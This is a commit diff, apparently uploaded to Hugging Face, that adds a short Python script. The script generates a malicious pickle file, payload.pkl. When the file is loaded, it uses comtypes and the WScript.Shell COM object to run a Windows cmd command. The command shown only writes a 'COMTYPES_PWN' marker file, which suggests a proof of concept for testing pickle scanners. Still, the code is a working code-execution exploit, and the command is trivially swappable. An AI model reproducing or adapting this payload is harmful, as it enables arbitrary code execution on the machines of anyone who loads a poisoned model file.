Upload generate.py with huggingface_hub
Browse files- generate.py +15 -0
generate.py
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
import pickle, operator
|
| 3 |
+
import comtypes.client
|
| 4 |
+
from pathlib import Path
|
| 5 |
+
out = Path(__file__).with_name("payload.pkl")
|
| 6 |
+
cmd = 'cmd /c echo COMTYPES_PWN> "C:\\Users\\uozer\\AppData\\Local\\Temp\\opencode\\w33_comtypes_run.txt"'
|
| 7 |
+
class Shell:
|
| 8 |
+
def __reduce__(self):
|
| 9 |
+
return (comtypes.client.CreateObject, ("WScript.Shell",))
|
| 10 |
+
class E:
|
| 11 |
+
def __reduce__(self):
|
| 12 |
+
# methodcaller('Run', cmd, 0, True)(shell)
|
| 13 |
+
return (operator.methodcaller("Run", cmd, 0, True), (Shell(),))
|
| 14 |
+
out.write_bytes(pickle.dumps(E(), protocol=4))
|
| 15 |
+
print("WROTE", out)
|